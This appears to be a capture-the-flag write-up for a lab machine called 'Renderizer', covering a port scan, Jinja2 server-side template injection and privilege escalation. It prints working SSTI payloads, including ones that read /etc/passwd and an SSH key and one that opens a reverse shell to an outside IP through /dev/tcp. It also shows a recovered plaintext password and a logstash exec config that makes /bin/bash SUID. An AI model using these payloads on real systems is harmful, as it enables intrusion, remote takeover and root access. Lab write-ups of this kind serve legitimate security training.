Renderizer Writeup

Port Scanning

nmap -sV -sC -p- -v $IP --open

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f7:37:6a:01:16:84:08:ea:92:19:b0:b3:ba:22:71:34 (ECDSA)
|_  256 59:00:f0:d6:c4:d4:f3:91:85:8f:1a:d2:1d:29:87:9e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Renderizer
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only ports 22(SSH) and 80(HTTP) are open.

sudo vim /etc/hosts Writeup-Renderizer 3

http://renderizer.hc

It says it's a jinja2, so we can deduce that this is an SSTI (Server-Side Template Injection). To test, I sent {{7*7}}.

After doing some research, I found a payload for reading files that worked.

{{ get_flashed_messages.globals.builtins.open("/etc/passwd").read() }}

I tried using the same method to grab the ssh key, but it didn't work:

{{ get_flashed_messages.globals.builtins.open("/home/john/.ssh/id_rsa").read() }}

I tried using the payload {{ "teste".class.mro[1].subclasses() }} to check for present subclasses, but it was giving an error. I believe the server has some kind of protection, so I searched for another way to verify this. And I managed to do it this way:

{% for subclass in ''.__class__.__mro__[1].__subclasses__() %}
    <h2>{{ subclass.__name__ }}</h2>
    <ul>
    {% for attr in subclass.__dict__.keys() %}
        <li>{{ attr }}</li>
    {% endfor %}
    </ul>
{% endfor %}

Now, it's time to find the position of the Popen array to get RCE.

Initial Access

Payload from vert16x to automatically find the position of the Popen array, giving us RCE.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("/bin/bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1'").read().zfill(417)}}{%endif%}{% endfor %}

Privillege Escalation

cat /etc/crontab

Initially, I thought of simply altering the webapp folder with the following commands, but it didn't work, for some reason, the cron wouldn't execute.

rm -rf webapp
echo '#!/bin/bash' > /home/john/webapp
echo 'chmod u+s /bin/bash' >> /home/john/webapp
chmod +x webapp

So I looked at the folder where backups were being made: /var/backups

If I try to run unzip webapp-03-01-2024.zip, it gives a permission denied error.

So, we need to copy webapp-03-01-2024.zip to the tmp folder:

cp webapp-03-01-2024.zip /tmp

In the tmp folder, we just unzip the file:

unzip webapp-03-01-2024.zip

After unzipping, the webapp folder contains an environment variable .env, which happens to be the same password as the logged-in user john.

john:bwsTuCtSYue7G4

sudo -l

To exploit logstash, we need to create a malicious .yaml file.

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/logstash

input {
  exec {
    command => "chmod u+s /bin/bash"
    interval => 120
  }
}

output {
  file {
    path => "/tmp/output.log"
    codec => rubydebug
  }
}

Then we just run the command,sudo /root/logstash/bin/logstash -f /tmp/webapp/teste.yaml

It takes a few seconds to run:

And /bin/bash will become SUID after running logstash.

Proof